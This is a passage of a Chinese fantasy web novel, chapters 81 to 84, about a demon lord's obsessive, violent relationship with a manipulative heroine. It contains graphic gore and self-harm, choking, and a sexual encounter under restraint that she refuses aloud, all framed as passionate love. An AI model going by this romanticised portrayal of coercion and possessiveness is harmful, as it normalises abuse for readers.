他露出森白的牙齿,“程今越,我就是贱,我就是蠢,我就是疯子!” “我恨你,我恨你,我恨你!” “我更恨自己,恨自己狠不下心来杀你,明明被你弃如敝履,招手即来挥手即去,像一条狗一样!” 他恶狠狠的,黑发间露出猩红的眼睛。 “啪”的一声,他的手打在程今越的身上。 “放松一点。” 鲜血在他脸上流着,流进他弯着的眼睛,妖艳诡异,鲜红湿润的唇笑着。 “程今越,为什么呢?你告诉我,好吗?” 泪水从他眼眶里奔泻而出,他尽力遏制住哭泣,表情显得扭曲可笑。 “为什么爱你的人那么多?为什么你对他们都这么好?这群人凭什么?他们明明都是一群废物,一群蠢货,他们根本就不爱你!” “他们……他们根本没有我爱你,没有谁比我更爱你……” 他说着,开始哽咽着,抽泣着。 如果是以前,程今越应该会用手抹干净他的眼泪,可是如今,程今越却是冷冷地看着他,冷眼旁观,眼中带着厌恶。 “我恨你,恨你骗我,恨你嘴里没有一句真话!” “我骗你了吗?我如此弱小,我毫无修为,你何尝不知道我在骗你呢?” 程今越遏止住他的话。 “我是神女,你是魔,我是疯了吗,我要来拯救一只魔?怀钰,你扪心自问,你配吗?你凭什么啊?” “一切都是我程今越身不由己,一切都是因为我太弱小,我想活着,我想在这个世间活下去!” “魔君大人,明明是你心甘情愿,是你知道这是个陷阱,还自己跳下来,这一切都是你咎由自取,跟我又有什么关系呢?” “难道我当时还有更好的办法吗?” 程今越冷酷无情地揭穿。 毫无疑问,这是最伤人心的话,因为只有最亲昵的人才会知道你的痛苦在哪里,扎向你的那根针才会最痛。 但是程今越就想这样说。 怀钰是疯子,也巧,她本来也不是一个正常人。 她偏要这么说,因为她清楚,无论她说了什么,她都会被原谅,怀钰都不会对她怎么样的。 程今越就是有这样的底气。 谁都有情绪,她程今越也有,汹涌的情感总是掩盖在她的表层之上,程今越早就想找一个宣泄口,她已经装得够久了。 怀钰笑着,坦然地承认了,“是啊,一切都是我的咎由自取,一切都是我自己的选择。” “是我甘愿这样做的,是我甘愿做你最忠诚的信徒,最贱的那条狗!” 没有任何的责怪与辱骂,反而让程今越心中的情绪更加别扭。 “程今越,这一切也是你咎由自取,是你先来招惹我,然后又把我抛弃!” “你别想甩掉我,我会永远缠着你!”【魔蝎小说 mo xie xs .c om】 80-90 第81章 做恨。(大修,需要重看) 他黑发散落,耳边红色的流苏染上血,模样诡异,笑容非人,眼睛之中跳动着情欲的火,波涛翻滚,势不可挡。 “啪”的一声,程今越又抬起手朝怀钰的脸上狠狠地打了一巴掌。 她的力气恢复了一些,这一巴掌格外用力,让怀钰的脸瞬间偏斜,一个鲜红的巴掌印浮现在他的脸上。 “疯子!滚啊!” 程今越的声音带着颤抖。 怀钰冷笑着,带茧的左手瞬间扼住程今越的两只手的手腕,抬起,交叠起,按在程今越的头上。 另一只滚烫的大手掐住程今越的喉咙,窒息瞬间弥漫全身。 “你真是疯了?快放开我!” “怀钰,我告诉你,我和萧极是有婚契的!不想死就放开我!” 违背婚契,无论是对方还是她,都会遭受蚀骨的疼痛。 怀钰毫无动容,脸上带着笑,一双眼睛直勾勾地看着程今越。 “婚契?我什么时候怕过这种东西了?” “我要杀了你……” 程今越声音颤抖哽咽,眼中带着恨意。 果然,怀钰就是想要这样报复她! 四周一道烈火冲入荒野之中,灼热,滚烫,肆意地灼烧着。 烈火焚烧着荒草地,像恶鬼一般,撕咬,蹂躏,不留余地。 程今越头脑发麻,一层一层的浪席卷而来,大火烧得她浑身疼痛,原本挣扎的力气如今被完全抽走。 但意料之中的蚀骨之痛却没有到来。 程今越微微愣住。 这是怎么回事? “真的要杀了我吗?”他委屈地皱着眉。 “程今越,有我在,你不用担心任何东西。” “你忘了吗?我的身体里有你的血,你的身体里也有我的血,我们彼此交融,你中有我,我中有你。” 怀钰替她承受了婚契的疼痛,他一个人承受了两份痛苦。 好像有蚂蚁啃噬着他的五脏六腑,他沉沉呼吸着,却只是笑着。 “如果和小越在一起,只需要承受这样的疼痛,那么我甘之如饴。” 他一边说着,一边将血抹在程今越的唇上,和白皙的肌肤形成了鲜明的对比。 “所以呢?那又如何呢?你是想让我心疼你?做梦!” 程今越的声音纤细。 怀钰面色毫无变化,只是看着程今越神情的变化,看着她逐渐失焦的瞳孔,绯红的脸颊。 “怎么不继续说了?” “恶心,你真让人恶心!” 她不断咒骂着怀钰,声音格外颤抖,全身失去力气,就连骂人的气势也少了几分。 泪水从她的眼眸里流到脸上,晶莹剔透,双眼微红,楚楚可怜的眼睛里带着十足的恶意。 “恶心?你说我恶心?” 怀钰突然笑着。 他的额头不断跳着,掐着程今越喉咙的大手骨节分明,青筋骤起,沉重的呼吸带着笑,带着绵长的喘|息。 “程今越,你不觉得可笑吗?” “你口口声声地说我恶心,和我在一起的时候却又如此享受。” 怀钰俯下身,巨大的体型压在程今越的身上,一双猩红的眼睛死死地盯着程今越,不愿意放过她的一举一动。 程今越下意识地躲避,却被怀钰用术法定住。 “你看,程今越,虽然你很会装,但人总会有漏洞的,你不是十全十美的。” “你躲什么呢?你的眼睛为什么不敢看我?嗯?” 他瞪大着眼睛,看着程今越。 “是心虚吗?还想撒谎吗?” 落石从山顶滚落,轰隆隆,四周传来巨响。 程今越的喉咙之中忍不住发出耻辱的声音。 她皱着眉,一双眼睛嫌恶地看着怀钰。 “滚啊!闭嘴!” “程今越,你的反应骗不了我!” “你分明就在乎我,你爱我,你就是离不开我!” 四周浩瀚的汪洋,随着强大的地动山摇,海水开始沸腾,翻涌,掀起一层又一层的巨浪。 海水像是要被蒸发,空中弥漫着海水的气息,潮湿,混沌。 程今越的唇被覆盖住,她说不了话,血腥味弥漫在嘴间。 落石滚滚而下,打在程今越身上。 又烫又辣,疼痛又怪异。 浑身都很痛,胸口狰狞的伤口再次裂开。 怀钰身上的魔气随着他的情绪而四溢,钻进程今越的伤口里,啃噬着她的血肉。 不愧是魔神脊柱剑造成的伤口,就连她也有些无法承受这痛楚。 她疼得快要晕过去,脸色苍白。 尽管怀钰给她灌输了修为,但是只要伤口中的魔气没有清除,伤口没有愈合,程今越的疼痛便永远不会离去。 “程今越,疼的话可以喊出来。” 怀钰笑着。 “你不是最会利用别人吗?我就在你的面前,你可以利用我啊。” “这道伤,除了我,没有人能治好,你知道的。” 他轻抚程今越的脸。 程今越迅速别过头,嫌恶地看着他。 “你可以求我啊,程今越。” “为什么不说话呢?你不是最会说话,最会骗人,最会玩弄人心吗?” 他笑盈盈的。 阴翳的眼睛玩着,恶劣丝毫不加隐藏,他声音低沉,像是蛊惑。 浑身都是疼痛,各种各样的疼痛,冲撞着程今越的理智与头脑。 她清晰地感受到了怀钰对她的恨。 可她首先却并没有感到难过,第一反应竟然是兴奋。 炽热又疯狂的感情,只属于他们的,扭曲的,畸形的,疯狂的爱。 一层一层巨浪裹挟着疼痛,泪水从她的眼眸里流出,她快要抑制不住这样的痛苦。 “帮我……”声音从她的喉咙里面挤出。 “程今越,这不是求人的态度。” 他俯视着程今越。 程今越紧紧地攥着手,指甲陷进肉里面。 “求你……帮帮我吧……” 她声音哽咽,带着哭腔。 “怎么帮你?” “你不说我怎么知道?” 对方恶劣地笑着。 “我好痛,我救救我吧,只有你可以治好我了……” 她抬眸,看着怀钰,眼中泪花滚滚。 怀钰满意地点点头。 “小越……你好乖……好听话,我好喜欢你……” “虽然你很坏,你还想杀了我,可是我真的好喜欢你……” 他像犬类动物一样,俯身吻着程今越的眼泪,小心翼翼,格外仔细。 他又将那把刀放在了程今越的手中,握住程今越的手,直直插进了胸口之中。 程今越瞳孔微动,血肉被切割的声音在她的耳边响起,缠绵,沉重,让程今越头脑发麻,牙齿发酸。 “你要做什么?”她震惊。 她从来没有见过这么诡异的治疗方法。 她就知道,怀钰根本就没有什么正常的思维。 “嗯?我要为你疗伤啊,小越……” 她也是疯了,竟然妄想用常人的思维去要求一只怪物…… 怀钰将自己胸膛慢慢划开,血顺着伤口汩汩流出,白森森的肋骨暴露在空中。 怀钰随便剜了身上随便一块肉,他握着手上。 血肉格外鲜活,甚至还在跳动,程今越毛骨悚然,背后一凉。 “害怕的话,可以把眼睛闭上哦。” 他贴心地说。 “小越乖……小越别怕,没关系,没关系,我会治好你的……” 他声音温柔,黑色的头发遮住眼睛。 程今越下意识往后缩,她喉咙中发出颤抖害怕的声音。 疯子,疯子…… 怀钰却伸出大手,一把将程今越抓回来,轻松无比,像是抓住一只想要逃跑的兔子。 “为什么要躲啊,小越?” 他委屈地皱眉。 “我说了,我明明说了,我会治好你的,我会治好你的!” “你为什么不相信我呢?你相信我好不好,你相信我,你相信我!” 他笑着,恐怖狰狞,情绪激动又怪异,一会儿哭一会儿笑。 程今越大气都不敢出一口。 她已经不能控制怀钰了。 这是一个纯粹的疯子,和萧极不同。 萧极起码能够沟通交流,而怀钰完全非人! 他手中杀的人比程今越吃过的饭都多,不能因为他正常的时候的表现而轻视这个怪物。 更何况这只怪物还被她欺骗过,正处于情绪崩溃状态。 “我相信你……我当然相信你……” 她尽力笑着,泪水忍不住往外流。 还在跳动的血肉被那一双大手揉进程今越的伤口之中,带着体温,格外滚烫。 血肉像是具有生命一样,像是寻找到子宫的婴儿,迅速填满了整个伤口,严丝合缝。 红色的魔气在伤口之上萦绕,血肉以肉眼可见的速度生长着。 只是眨眼的工夫,程今越便看见自己胸口的伤口消失了,肌肤完好如初,宛若凝脂。 程今越愕然失色,脑子一片空白,嗡嗡作响。 她已经知道自己以前受的伤,怀钰是怎么治好的了…… 她的喉咙突然涌起一阵恶心想吐的感觉,胃里一阵翻涌。 程今越一阵干呕,双眼通红,带着眼泪。 “小越,你看,我已经把你治好啦。” “你放心,有我在,你不会受伤的……我一定能够把你治好的!” 他轻轻吻上程今越新生的血肉。 他语气轻快,头蹭着程今越胸口,像是在寻求表扬。 程今越迅速平静着浑身的情绪,她浑身发凉,却还是抬起手,揉着怀钰的头。 “谢谢你,怀钰……” 怀钰抱紧程今越,像一只小兽一样,汲取着程今越的温暖。 “嗯……小越,你好温暖……” “小越,我做的是不是很好?” “那你给我一些奖励吧?” 他突然抬起头,看着程今越。 程今越背后突然又一凉。 但没等程今越任何回答,怀钰已经握住程今越的手,再一次从自己的身上剜下了一块肉。 他揉搓着,捏成了一个眼珠的形状。 他缓缓地灌注着法力,模糊的血肉像活过来了一样,慢慢蠕动着,血肉上开始出现红色的血管,密密麻麻的,像是在呼吸着。 他轻轻从程今越身上取下一滴血,将其融进这团血肉之中。 这一滴血在血肉之中穿梭着,如鱼一样,贪婪地吸食着上面的法力,最后找到了属于它的位置,化成了红色的瞳孔。 一只血淋淋的眼球就这样出现在程今越的面前。 第82章 旧情人。 她瞳孔瞪大,毛骨悚然,“你要做什么!” “我在做一只眼睛呀,你没看到吗?” 他将这只眼睛递到程今越跟前。 这只眼珠子突然轱辘一滚,直直地盯着程今越。 “你看,这是我们二人的结晶呀。” “它很喜欢你,小越!你看到了吗!它在看着你!” 怀钰兴奋地叫着。 程今越已经快要无法思考了,她在竭尽全力平复着自己的心情。 她已经在崩溃的边缘了。 “小越,以前我们明明可以用神识交流的。” “但是……因为那个恶心的贱人!因为他!我和小越竟然被生生地斩断了联系!” 他说起萧极,厌恶地皱着眉。 “都怪我,都是我不好,没有看好小越,才让你被其他人骗了。” “没关系,从现在开始,我会永远看着你的!” 他用手一扣,又用力一塞,将这只眼睛塞到了自己的肋骨上,不偏不倚,就在胸膛正中央。 怀钰低头看了看自己的杰作,倍感满意,他大笑起来,不断欣赏着,最后才不舍地将胸膛合上。 他抚摸着胸口,揉了又揉,感受着眼睛的存在,和他的心脏挨得那么近,它们好像在一起跳动着,怀钰格外兴奋,浑身的血液飞速流淌着。 他不会再将视野从程今越身上移开,他要随时知道程今越的状态,随时把可疑人物杀死,没有任何人能够从他的身边夺走她。 他连忙使用了自己新做的眼睛,非常好用。 程今越白皙的脸庞就出现在画面正中央,怀钰看得清清楚楚。 “我做得很棒,对吧?” 他恶劣地笑着。 “给我一些奖励吧,小越。” 巨浪滔天,遮住天光,冲上云霄,遮天蔽日。 怀钰将程今越抱在怀里。 二人喘着气,互相倚靠。 程今越已经完全没有力气了,她也清楚,在怀钰面前挣扎,都是浪费力气。 她索性乖巧地躺在怀钰的怀里,大口大口地呼吸着空气。 “小越……好软……好香……好喜欢……” 怀钰环抱着程今越,低头吸吮着程今越身上的香气。 他眼眸猩红,带着病态,偏偏眼角还带着泪水。 他伸手抚摸着程今越的头,手指插|入发间,指腹摩挲着她的头。 “小越,我们就这样一直一直在一起吧……” “我好幸福……幸福得快要死去……” 泪水翻涌,他的心在颤着。 像是感叹,像是期盼,又像是在哀求。 像是一块无法弥散的淤青,不明显,但一碰就生疼。 像是永远无法好的伤口,不断糜烂,又生出新肉。 这就是他对程今越的爱。 “放开我,我累了。” 她力竭,懒懒地抬眸看着怀钰。 “可是我还不累。” 他笑着。 “滚啊……” “难道你刚刚不满意吗?” 他笑着问。 “你把自己看得就这样轻浮吗?” 程今越避开问题。 “是啊,我就是这样轻浮,我本来就很下贱,不是吗?” “我就是为你而生的,我就是你的工具,我卑贱无比,难道你不是这样想的吗?” 他自嘲着,把程今越说话的语气学了十成十的像。 “你怎么不想更坏的结果呢?” “有没有一种可能,我甚至都没思考过这方面的事情。” “因为有的人不值得我去思考。” 她笑着,格外灿烂。 她就想要看着怀钰那一副咬牙切齿,但又强撑着不爆发,自我安慰,更加卑微的模样。 像是泄愤,又像是报复。 程今越太了解怀钰了,他轻哼着,“程今越,骗我可以。” “但别把自己的心也骗了。” 他的手指指着自己的心,那里血肉刚刚新生,还格外狰狞模糊,是程今越造成的伤。 “放开我。”程今越再次重复。 “程今越,你现在应该搞清楚自己的地位。”怀钰笑着。 “你已经没有拒绝我的权利了。” 外面的天还早,他们的时间还很多。 思念日久堆积,沉淀在怀钰的心中,从一滴滴阴沉的雨,汇作汪洋。 他恨程今越,恨之入骨。 现在,他要报复程今越,他要将他的恨全部偿还给程今越,以牙还牙,以恶制恶! 思念让时间过得如此之快。 从天亮到日落,再从日落到深夜。 他不会放过程今越的! 第二日,程今越醒来时,只觉得浑身散了架,浑身疼得要命。 她身上全是怀钰留下来的痕迹,完全就是一条疯狗。 他故意在显眼的位置留下痕迹,就好像是在向别人宣告,程今越是独属他一个人的。 烦。 但怀钰的确很让她满意。 不过她是不会在怀钰面前承认的。 除非对方总在关键时刻问她一些恶劣的问题。 醒来时,怀钰已经不在她的身边了。 她下床,刚一转角,便看到系着围裙的怀钰。 宽肩窄腰的身形被勾勒得恰到好处。 挽起的袖口下,小臂肌肉紧实,透着力量感。 “小越,吃饭吧。” 他笑着。 程今越看着满满一桌子的菜,色香味俱全。 “是哦,是我做的哦。” 还没等程今越问,他已经抢先回答了。 像是一条摇着尾巴的狗,迫不及待。 程今越不安地坐下,警惕地看着这一桌菜。 她记得这样的情景,在不久前也出现过。 萧极也曾给她亲手做过菜。 “没毒,你放心。”他笑着,将所有的菜都吃了一口。 相似的回答。 程今越尝了一口,味道的确不错,她忍不住和萧极的手艺开始做对比。 各有千秋,没什么好比的。 反正都是吃饭,有什么好比的。 “这是我第一次做饭,我的第一次贡献给小越了哦。” 怀钰乖乖地给程今越夹着菜。 “我学东西很快的,小越,我还可以学更多的东西,只要你想要,你想吃什么我都给你做。” 他撑脸看着程今越,极少的乖巧。 “怎么样?” “一般。” “和其他人比呢?” “你指谁?” “你觉得呢?” 怀钰看着程今越,期待着她的回答。 气氛有些奇怪。 程今越不明白,这有什么好争的。 无聊。 “你来宁城做什么?”程今越突然问。 怀钰脸上微微一愣。 又拒绝回答。 不回答,不选择,不拒绝,不否定。 这就是程今越的作风。 “你先回答我。” 他强硬地要求,挑着眉。 程今越无语。 “你更好。” “你比他做得好吃。” “你比谁都做得好吃。” “可以了吗?” 摊牌之后,程今越甚至都懒得装一下,骨子里的高傲与不屑不加遮掩。 但怀钰已经心情大好。 “你以什么身份问我?”怀钰笑着。 “什么身份?”程今越在嘴里摩挲着这个词。 “已经断绝关系的旧情人?”她笑着。 怀钰突然笑出声。 他突然喉咙间又起了酸涩,他低下头,隐藏住泪意,调整好情绪又抬起头。 “也不错。” 说实话,他有些不习惯程今越这样。 尽管他早就猜到了程今越是一个什么样的人,是他一直在欺骗自己。 他喜欢程今越的温柔,喜欢她的偏爱,喜欢她割裂的性格,神秘,强大,独立,浑身上下都闪烁着光。 就像现在这样,每一次不屑地挑眉,每一句恶毒的话,在他的眼里都格外具有魅力。 就像是调情。 “挽回你算吗?” 他想了想。 怎么是他挽回程今越呢?明明是程今越先抛弃的他。 “顺带报复你。” 虽然根本没有办法报复她。 因为程今越自私自利,除了她自己什么都不爱。 但是怀钰狠不下心来杀了程今越。 没关系,他可以折磨自己,程今越肯定是爱他的。 只要他足够可怜,程今越一定会多看他一眼,一定会心疼他的。 “我此生无欲无求,我也没有什么目标,只有你。” “程今越,你可以像从前一样,把我当作刀,我可以为你去杀任何人,我无怨无悔,我自甘堕落。” 他摊开双手,歪着头,笑着。 这个选择,说实话,怀钰做了很久。 因为说不难过是假的啊,他也是人,他的心是会痛的。 杀了程今越,折磨程今越? 他做不到。 他看到程今越痛苦,他会比她更加痛苦。 或者说娶其他女人报复程今越? 这根本对程今越造不成任何打击,因为程今越根本就不在乎他。 而且他看到其他女人就恶心想吐。 亦或是再也不爱她,和她从此江湖不见? 他不甘心,他恨,他们之间明明有那么多美好的回忆,他凭什么! 怀钰辗转反侧,离开程今越后,他每一天都过得浑浑噩噩,他已经快要分不清时间。 他想去死,他用刀捅进自己的身体里,割在自己的身上,一刀又一刀。 可惜他就是死不了。 他意识到,他的世界已经只剩下程今越了。 程今越就是他唯一的月亮。 他的习惯、喜好已经完全被程今越侵蚀了。 他身上全是程今越的影子。 他这辈子都没有办法释怀了,就连时间也无法做到。 他此生只会为了程今越活着。 终于,在一个深夜,他抛弃了所有的思考。 他选择追求自己的本心,最让他有求生意志的选择。 夺回程今越! 如果得不到,他就像鬼一样,永远缠着程今越,就算是死也不放开。 大不了就玉石俱焚,两败俱伤! 程今越看着怀钰,她突然苦笑。 这很荒谬。 她不能理解疯子。 但是不重要,她也不想去考虑别人怎么想的,她更不会去做什么正义的圣母,劝人从良。 她只在乎自己的利益,其他人怎么想的关她屁事。 她就缺一把刀。 一把忠诚,锋利的刀。 坦白来讲,她们的确很合适。 “好。”她点点头。 “我要杀了萧极。”她开门见山。 怀钰笑着。 他从来没有觉得心情如此好过。 天气明媚,万物可亲。 “当然,就算你不说,我也会杀了他。” 他就知道,程今越根本不爱萧极,她玩弄所有人的感情,她根本不在乎任何一个人。 世间之人皆不患寡而患不均。 程今越不爱他没有关系,反正她也不爱其他人。 怀钰就这样知足。 “我会帮你夺得破魔铃,解开封印,完成我们的契约。” 她继续说。 她声音轻松,好像在说什么街上在卖冰糖葫芦的这种小事。 明明她毫无修为。 “我不需要。”怀钰立马开口。 程今越却皱眉,她不理解,“为什么?” 怀钰欲言又止。 他不想解开血契,因为这是他此生,唯一和程今越的联系了。 血与血交融,由天地自然约束的关系,多亲密,好暧昧。 过去的日子多么冷,多么孤单,多么痛苦啊。 他才不要回到一个人的日子。 第83章 被女人打的时候。 怀钰低着头,继续为程今越夹菜。 “我不需要你为了我去对萧极卑躬屈膝。” “破魔铃很快就不能束缚我了,没有多久了,它对我的修为即将没有任何影响。” 怀钰斩钉截铁。 程今越知道。 但这不是重点。 因为她要的是怀钰的灵根。 怀钰冲破破魔铃很简单,但是对她来说就是一道天堑。 就算怀钰以后修为足够杀掉萧极,但以萧极的性格,也绝对会将破魔铃在死前毁掉,这样解掉怀钰身上封印的唯一钥匙就没了。 那个时候,程今越就真的毫无办法了。 “为了你?当然不是。” “我只是为了解开我们之间的契约罢了。” 程今越笑着,浅浅地喝了一口汤。 怀钰咬紧了牙,他突然笑起来,笑中闪烁过一丝的苦涩。 “我不会利用这个血契对你做什么的,你根本没有必要去冒那样的险。” 程今越轻轻放下手中的筷子,看着怀钰,眼眸之中笑意浅然,但又带着一丝嘲讽。 程今越没有开口,但是怀钰已经明白了意思。 她不信任怀钰。 风从窗外吹进来,吹得纱帘四处飘逸,窗边的树枝摇曳,落花飘落。 冷风吹动怀钰耳边的红色流苏,红色的血珠冰冷地触碰在他的脸庞。 他低*下头,沉闷了片刻,随后又冷笑着抬起头。 “随便你。” 他刚说完,又觉得不甘心。 “但萧极会把破魔铃交给你?凭什么?” “程今越,你要知道,这世间不是谁都和我一样蠢,都会心甘情愿地被你骗。” “萧极表里不一,心思深沉,他不是那么好骗……” “多谢你关心。” 程今越打断他的话。 “我会做到的,怀钰。” “我有把握。” 有把握?有把握能骗到萧极的真心? 又有一个人会被程今越骗到了? 怀钰紧紧地攥着自己的手,他眼眸阴沉地看着程今越,嘴角的笑却一直僵着。 他只要想到程今越对别人好,想到程今越要拿对付他的那一套对付其他人,那双牵过他的手会握着其他人,对他笑的眼睛也会对着别人笑,给过他温暖的怀抱也会给别人。 他只要想到,他就要呼吸不过来,他就想杀人,他就想得到程今越,毁掉程今越。 “你又要对别人说几句‘我爱你’这种可笑的谎话呢?” 他冷笑着,将他最讨厌吃的香菜一直往程今越碗里夹。 “我只对你一个人说过。”程今越笑着。 “都到了这种时候了,你还要骗我?” “程今越,你说的一个字我都不会信!” 怒火中烧,他死死地盯着程今越。 一脸笑容,满嘴谎话,眼不眨,心不跳。 没有人知道程今越的嘴里有几句真话。 他讨厌程今越的眼睛,讨厌她的笑,一切都让他作呕,让他恶心! 澄澈透光的眼睛,带笑的眼睛,干净得像是一汪水。 为什么这样一个恶毒的人,会拥有这样干净的眼睛? “我恨你,程今越。”他咬牙切齿。 每当看到程今越的笑眼,他的心中就有一种最纯粹的恨意在心中滋生。 真想把程今越按在墙上掐死,挖掉程今越的眼睛,做成乖巧的傀儡! “我真恶心你这一副惺惺作态的模样。” “你是没有感情,没有心吗?” 程今越脸上的笑突然变成割裂的冷笑,从温柔的暖阳到阴湿的冷笑,她的切换如何自然。 “我没有心?谁都有资格问我这个问题。” “唯独你没有。” “魔君大人,你杀了多少人,害死了多少人,手中又有多少鲜血?” “你也好意思质问我?” 程今越随意地碗往地上一砸,剧烈刺耳的声音落在地上。 她高傲地仰着头,嘴角勾起冷笑。 “那你呢,神女殿下,以这副慈悲温柔的菩萨面孔又骗了多少人呢?” “装得柔弱,心慈,温良谦恭,却在背后不知道杀了多少人。” “你又算什么好东西呢?” 怀钰站起身来,低头看着程今越,四目相对。 “是啊,我是烂人,你也是恶人。” “这不好吗?怀钰。” 她坦然地承认,不加掩饰。 程今越从来没有任何的道德束缚,她深知自己是一个怎么样的人。 她坦诚地接受自己的卑劣,自己的欲望。 她做事的唯一原则只有一个。 利益。 “我们可以继续联手啊。” “我们可以一起杀了萧极,杀了仙界所有人,杀了所有挡我们路的人啊。” 程今越嘴角噙着那一抹似有若无的浅笑,暖阳照在她的脸庞上,却显得格外割裂。 不加隐藏的野心与狠毒展现无遗。 “现在又想起来我了?程今越。” “需要的时候就叫我,不需要的时候就弃我而去?” “我是你的一条狗吗?” 他抬起头,将筷子一搁,站起身来,看向程今越,嘴角轻勾着,觉得格外好笑。 “不可以吗?” 程今越抬起脸,看着怀钰。 一张无害的脸看向怀钰,看起来像猫一样乖巧。 怀钰冷笑,“程今越,你说的每一句话,我都不信。” 他绝对不会再被程今越骗,绝对不会! 交谈失败,程今越的脸上也并无气馁。 “随你信不信。” 反正她的计划里面原本就没有怀钰。 “没有你,我照样能杀了萧极。” 她双手摊着,掌心朝上,神色轻挑。 夺得破魔铃,解除怀钰的封印,再和萧极联手,用无垢刀剜掉怀钰的灵根,没有了灵根,怀钰什么都不是。 她会借萧极的手杀掉怀钰,再偷偷吞下灵根。 只要得到了魔神的灵根,她就会成为新的魔神。 她有长明族的血,届时,她会比所有的人都强。 杀掉萧极,不过是一念间的事情。 “好啊,那我倒要看看你怎么做到。” “你最好别死在萧极的手里面。” 怀钰冷笑。 程今越脸上的笑容却越发深,她神情轻松,巧笑盼兮。 “你在关心我之前,可以先关心关心你自己。” “你既然知道萧极是个畜生,那你就更应该提防他。” “破魔铃对你是逐渐不管用了,可难免会生出第二个破魔铃,仙界能封印你一次,就能封印你第二次。” “你如今太过嚣张,仙界已经召集了各宗的天才能人,就为了杀你。而你呢,怀钰,你只有可怜的孤身一人哦,想要封印你,不过是时间问题。” “而你,如今又夺舍了萧砚修,说实话,我也不知道你是怎么做到的,竟然连萧砚修都让你夺舍了。” “但是,你瞒得了一时,瞒得了一世吗?” “你最不擅长的就是伪装,而萧极的眼睛比谁都敏锐,他已经开始怀疑你了,而你甚至还敢对他的夫人动手,我看你真是不想活了。” “你能抹掉暗卫一时的记忆,但你敢全部抹去吗?这样一定会被萧极发现的。” 她喝掉最后一点汤,用帕子轻轻地拭了拭嘴角。 “我们可以比一比,到底是你死得更快,还是我死得更快。” 程今越头也不回地转身离去,怀钰却一把抓住她的手腕。 “你又想去哪儿?” 烦人的东西…… 程今越转身,抬手狠狠甩了怀钰一巴掌,清脆的声响在屋子里回荡。 她身体恢复,修为渐长,力气都大了几分。 怀钰的脸上顿时出现了一个鲜红的巴掌印,头发有些凌乱,遮住了他的眼睛。 四周一片寂静,程今越的动作行云流水,她又要转身,怀钰却又抓住了她扇巴掌的那一只手。 怀钰的手宽大,骨节分明,死死握住程今越纤细的手腕,动作快得让人来不及反应,程今越越挣扎,却被攥得越紧。 “放开我!你有病啊!” “你既然不和我联手,又纠缠我做什么?你走你的阳关道,我过我的独木桥啊!” 怀钰缓缓抬起头,猩红的眼眸里翻涌着诡异的光,他突然笑起来。 他一把将程今越的掌心贴在他滚烫的脸上,皮肤下的温度烫得惊人,明明方才是好好的! 程今越下意识想抽回手,却被怀钰死死攥住,动弹不得。 “放开你?做梦!” 他伸出舌头,舔舐着程今越发凉的掌心,贪婪地,黏腻地,喉咙里发出低沉的呜咽声。 “小越,我就是有病啊。” “想让我放过你?门儿都没有。” “从你开口说爱我的那一天起,你就永远别想摆脱我了,我会像鬼一样,永远缠着你。” “你只能是属于我的,别想逃离我……” 他诡异地笑起来,发出低低的,兴奋的笑声。 随着舔舐的动作越来越放肆,他的舌尖从手腕一路滑向掌心,最后他死死咬住程今越的手指。 “疯子,滚啊!” 程今越怒吼着,她一脚朝怀钰踢过去,对方却笑得更加大声。 “我好喜欢被小越欺负,小越……你真的好可爱……” “我好爱你……” 他笑着,又侧过脸对着程今越,“小越,这边也想要被你打……” “你惩罚我吧……我是个坏孩子……” 程今越头皮发麻,怀钰松开了她另外一只手。 她毫不犹豫,又果断地甩给怀钰一巴掌。 “疯子,我满足你!” 她手起手落,又接连给了怀钰好几个巴掌。 打得怀钰双脸泛红,就连眼角也泛起了红晕。 怀钰目光拉丝地黏在程今越身上,“小越……好爽……” 他浑身兴奋,血液沸腾,全身都在燥热。 程今越身上的香味冲进他的鼻腔。 疯子! 她受不了了。 怀钰又握住程今越的手,纤细的手指泛红,格外惹人怜惜。 他皱眉,轻轻吹拂着。 “小越,我给你吹吹,小手不疼不疼。” 第84章 我们就这样纠缠不清吧。 程今越以前从来没有在海滨城市住过。 她记忆里,她生命的大部分的时间就只分为两个部分。 要么在逃命,要么就在别人的手里当奴隶。 她有过很多任主子,性格各异,有的性格古怪,残暴凶厉;但也有的性格温柔,或许真的被她单纯温柔的外表骗到了,嘴上说着要和她一生一世,就连成婚,程今越都已经成了不知道多少次了。 程今越住过繁华的都城中,做某个员外郎家里的小妾,有时又摇身一变,变成某个仙家道长手里的首徒,亦或者在偏僻的山村之中,关押在黑暗里,成为一只宠物。 所有的地方程今越都能适应,所有的人程今越也都能应对。 反正她从来都是孤身一人,没有什么好挂念的。 若是对方修为深厚,程今越可以寻找帮手;若是对方性格偏执,程今越可以服软;若是对方聪明,程今越可以谨慎。 因为一山更有一山高,人外有人,天外有天,她总有应对的法则。 但是天道好轮回,恶报终有时。 程今越从来没有觉得一个人这么难对付过。 怀钰天生魔种,恶贯满盈,性格疯癫,一犯病就不能通人语。 如今是秋季,程今越住在无极宫的时候,身上还要穿着棉袄狐裘,如今到了宁城,天气甚暖,路边还四处可见鲜艳的野花,树林茂密,空气也格外湿润,程今越都快觉得春天来了。 她穿着当地有名的鲛绡纱,在阳光下流光溢彩,黑色的长发上簪了一根翡翠孔雀簪。 宁城繁华,商贸发达,城外有许多条河,商船云集,将宁城特产的泽宁鱼和鲛纱珍珠等宝物顺着船一路北上。 原本宁城便热闹,而最近正逢海神祭,程今越方走到街上,便已经看到众人往一个方向汇去。 海神祭是宁城以及泽宁海这一大片海域祭典海神的仪式,除了带着普通祭祀祈福的习俗在里面,海神祭如今更多是亲朋团聚,恋人约会的佳节。 宁城极大,虽说是城,但却有数百万人,堪称一个小国,若非在无定界之内,想必早已自立成国了。 海神祭办得格外盛大,宁城甚至有专门管理海神祭的海祀院,还修建了祭坛,专门举行祭祀。 这种事情,随便一打听就能知道许多。 “姑娘,听你的口音不是本地人啊,是专门来海神祭玩的吗?” 程今越买了路边摊上的椰子与烤鱼,小哥热情地给程今越介绍着。 “那你可真是来对地方了,我们海神祭可热闹了!祭坛附近那几条街都是可以玩乐的,每年都搭了一个好大的台子。” 他又一笑,“不过,姑娘是一个人去海神祭吗?” 程今越没有回答,但小哥也不在意,继续说着。 “海神期盼宁城儿女的爱情亲情都能得到圆满,所以在海神祭上,许多有情之人都会出来放花灯,在树下留下红绳,还可以互赠海石,这个叫做「结海缘」,用红鲛纱蒙住眼睛,绑住手,从海神桥上而过,能默契地走到对面,又叫「渡情桥」……” “若是姑娘没有伴侣也没有关系,我们宁城是出了名的盛产好男儿,个个都身强体壮,高大威猛,不少外地的朋友专门来我们这里寻找情缘。” “不瞒姑娘说,在下会看些面相。” 小哥言笑晏晏,衣着干净朴素,看起来人来不错,程今越微微好奇地倾身。 